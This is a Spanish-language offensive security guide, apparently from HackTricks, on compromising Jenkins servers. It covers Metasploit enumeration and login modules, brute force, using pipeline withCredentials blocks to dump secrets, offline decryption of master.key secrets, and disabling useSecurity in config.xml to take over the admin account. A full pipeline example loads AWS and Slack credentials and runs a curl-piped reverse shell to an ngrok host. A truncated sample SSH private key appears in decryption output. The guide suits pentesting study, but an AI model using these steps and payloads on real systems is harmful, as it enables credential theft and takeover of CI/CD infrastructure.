Jenkins Security

Support HackTricks

Basic Information

Jenkins es una herramienta que ofrece un método sencillo para establecer un entorno de integración continua o entrega continua (CI/CD) para casi cualquier combinación de lenguajes de programación y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Aunque Jenkins no elimina la necesidad de crear scripts para pasos individuales, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir manualmente.

Basic Jenkins Information

Unauthenticated Enumeration

Para buscar páginas interesantes de Jenkins sin autenticación como (/people o /asynchPeople, que lista los usuarios actuales) puedes usar:

msf> use auxiliary/scanner/http/jenkins_enum

Verifica si puedes ejecutar comandos sin necesidad de autenticación:

msf> use auxiliary/scanner/http/jenkins_command

Sin credenciales, puedes mirar dentro de la ruta /asynchPeople/ o /securityRealm/user/admin/search/index?q= para nombres de usuario.

Es posible que puedas obtener la versión de Jenkins desde la ruta /oops o /error.

Vulnerabilidades Conocidas

Inicio de Sesión

En la información básica puedes verificar todas las formas de iniciar sesión en Jenkins:

Basic Jenkins Information

Registro

Podrás encontrar instancias de Jenkins que te permiten crear una cuenta e iniciar sesión en ella. Tan simple como eso.

Inicio de Sesión SSO

Además, si la funcionalidad/plugins de SSO están presentes, entonces deberías intentar iniciar sesión en la aplicación usando una cuenta de prueba (es decir, una cuenta de Github/Bitbucket de prueba). Truco de aquí.

Fuerza Bruta

Jenkins carece de política de contraseñas y mitigación de fuerza bruta de nombres de usuario. Es esencial realizar fuerza bruta a los usuarios ya que contraseñas débiles o nombres de usuario como contraseñas pueden estar en uso, incluso nombres de usuario invertidos como contraseñas.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Use this python script or this powershell script.

Bypass de lista blanca de IP

Muchas organizaciones combinan sistemas de gestión de control de versiones (SCM) basados en SaaS como GitHub o GitLab con una solución CI interna y autohospedada como Jenkins o TeamCity. Esta configuración permite que los sistemas CI reciban eventos de webhook de los proveedores de control de versiones SaaS, principalmente para activar trabajos de pipeline.

Para lograr esto, las organizaciones agregan a la lista blanca los rangos de IP de las plataformas SCM, permitiéndoles acceder al sistema CI interno a través de webhooks. Sin embargo, es importante tener en cuenta que cualquiera puede crear una cuenta en GitHub o GitLab y configurarla para activar un webhook, enviando potencialmente solicitudes al sistema CI interno.

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Abusos internos de Jenkins

En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.

Dependiendo del mecanismo de Autorización configurado en Jenkins y los permisos del usuario comprometido, podrías o no poder realizar los siguientes ataques.

Para más información, consulta la información básica:

Basic Jenkins Information

Listando usuarios

Si has accedido a Jenkins, puedes listar otros usuarios registrados en http://127.0.0.1:8080/asynchPeople/

Extracción de builds para encontrar secretos en texto claro

Usa este script para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar secretos en texto claro.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Robando Credenciales SSH

Si el usuario comprometido tiene suficientes privilegios para crear/modificar un nuevo nodo de Jenkins y las credenciales SSH ya están almacenadas para acceder a otros nodos, podría robar esas credenciales creando/modificando un nodo y configurando un host que registrará las credenciales sin verificar la clave del host:

Normalmente encontrarás las credenciales ssh de Jenkins en un proveedor global (/credentials/), así que también puedes volcarlas como lo harías con cualquier otro secreto. Más información en la sección de volcado de secretos.

RCE en Jenkins

Obtener un shell en el servidor de Jenkins le da al atacante la oportunidad de filtrar todos los secretos y variables de entorno y de explotar otras máquinas ubicadas en la misma red o incluso reunir credenciales de la nube.

Por defecto, Jenkins se ejecutará como SYSTEM. Por lo tanto, comprometerlo le dará al atacante privilegios de SYSTEM.

RCE Creando/Modificando un proyecto

Crear/Modificar un proyecto es una forma de obtener RCE sobre el servidor de Jenkins:

Jenkins RCE Creating/Modifying Project

RCE Ejecutar script Groovy

También puedes obtener RCE ejecutando un script Groovy, que podría ser más sigiloso que crear un nuevo proyecto:

Jenkins RCE with Groovy Script

RCE Creando/Modificando Pipeline

También puedes obtener RCE creando/modificando un pipeline:

Jenkins RCE Creating/Modifying Pipeline

Explotación de Pipeline

Para explotar pipelines aún necesitas tener acceso a Jenkins.

Construir Pipelines

Pipelines también pueden ser utilizados como mecanismo de construcción en proyectos, en ese caso se puede configurar un archivo dentro del repositorio que contendrá la sintaxis del pipeline. Por defecto se usa /Jenkinsfile:

También es posible almacenar archivos de configuración de pipeline en otros lugares (en otros repositorios, por ejemplo) con el objetivo de separar el acceso al repositorio y el acceso al pipeline.

Si un atacante tiene acceso de escritura sobre ese archivo, podrá modificarlo y potencialmente activar el pipeline sin siquiera tener acceso a Jenkins. Es posible que el atacante necesite eludir algunas protecciones de rama (dependiendo de la plataforma y los privilegios del usuario, podrían ser eludidas o no).

Los desencadenantes más comunes para ejecutar un pipeline personalizado son:

  • Solicitud de extracción a la rama principal (o potencialmente a otras ramas)

  • Empujar a la rama principal (o potencialmente a otras ramas)

  • Actualizar la rama principal y esperar hasta que se ejecute de alguna manera

Si eres un usuario externo, no deberías esperar crear un PR a la rama principal del repositorio de otro usuario/organización y activar el pipeline... pero si está mal configurado, podrías comprometer completamente a las empresas solo explotando esto.

RCE de Pipeline

En la sección anterior de RCE ya se indicó una técnica para obtener RCE modificando un pipeline.

Comprobando Variables de Entorno

Es posible declarar variables de entorno en texto claro para todo el pipeline o para etapas específicas. Estas variables de entorno no deberían contener información sensible, pero un atacante siempre podría verificar todas las configuraciones del pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica:

Basic Jenkins Information

Las credenciales pueden estar alcanzadas a proveedores globales (/credentials/) o a proyectos específicos (/job/<project-name>/configure). Por lo tanto, para exfiltrar todos ellos, necesitas comprometer al menos todos los proyectos que contienen secretos y ejecutar pipelines personalizados/contaminados.

Hay otro problema, para obtener un secreto dentro del env de un pipeline necesitas conocer el nombre y tipo del secreto. Por ejemplo, si intentas cargar un secreto de usernamePassword como un secreto de string, obtendrás este error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Aquí tienes la forma de cargar algunos tipos de secretos comunes:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Al final de esta página puedes encontrar todos los tipos de credenciales: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

La mejor manera de volcar todos los secretos a la vez es comprometiendo la máquina de Jenkins (ejecutando un shell inverso en el nodo incorporado, por ejemplo) y luego filtrando las claves maestras y los secretos encriptados y desencriptándolos sin conexión. Más sobre cómo hacer esto en la sección de Nodos y Agentes y en la sección de Post Explotación.

Disparadores

De la documentación: La directiva triggers define las maneras automatizadas en las que el Pipeline debe ser reactivado. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, triggers pueden no ser necesarios ya que la integración basada en webhooks probablemente ya esté presente. Los disparadores actualmente disponibles son cron, pollSCM y upstream.

Ejemplo de Cron:

triggers { cron('H */4 * * 1-5') }

Check otros ejemplos en la documentación.

Nodos y Agentes

Una instancia de Jenkins puede tener diferentes agentes corriendo en diferentes máquinas. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa diferentes credenciales de nube potenciales para robar o diferente acceso a la red que podría ser abusado para explotar otras máquinas.

Para más información, consulta la información básica:

Basic Jenkins Information

Puedes enumerar los nodos configurados en /computer/, generalmente encontrarás el Built-In Node (que es el nodo que ejecuta Jenkins) y potencialmente más:

Es especialmente interesante comprometer el nodo incorporado porque contiene información sensible de Jenkins.

Para indicar que deseas ejecutar el pipeline en el nodo incorporado de Jenkins, puedes especificar dentro del pipeline la siguiente configuración:

pipeline {
agent {label 'built-in'}

Ejemplo completo

Pipeline en un agente específico, con un desencadenador cron, con variables de entorno de pipeline y etapa, cargando 2 variables en un paso y enviando un reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Lectura de Archivos Arbitrarios a RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Post Explotación

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Puedes listar los secretos accediendo a /credentials/ si tienes suficientes permisos. Ten en cuenta que esto solo listará los secretos dentro del archivo credentials.xml, pero los archivos de configuración de construcción también pueden tener más credenciales.

Si puedes ver la configuración de cada proyecto, también puedes ver allí los nombres de las credenciales (secretos) que se utilizan para acceder al repositorio y otras credenciales del proyecto.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

Estos archivos son necesarios para desencriptar los secretos de Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Tales secretos generalmente se pueden encontrar en:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Aquí hay una regex para encontrarlos:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

Si has volcado las contraseñas necesarias para descifrar los secretos, utiliza este script para descifrar esos secretos.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Desencriptar secretos de Jenkins desde Groovy

println(hudson.util.Secret.decrypt("{...}"))

Crear un nuevo usuario administrador

  1. Accede al archivo config.xml de Jenkins en /var/lib/jenkins/config.xml o C:\Program Files (x86)\Jenkins\

  2. Busca la palabra <useSecurity>true</useSecurity> y cambia la palabra true a false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Reinicia el servidor Jenkins: service jenkins restart

  5. Ahora ve al portal de Jenkins nuevamente y Jenkins no pedirá ninguna credencial esta vez. Navega a "Manage Jenkins" para establecer la contraseña de administrador nuevamente.

  6. Habilita la seguridad nuevamente cambiando la configuración a <useSecurity>true</useSecurity> y reinicia Jenkins nuevamente.

Referencias

Support HackTricks

Last updated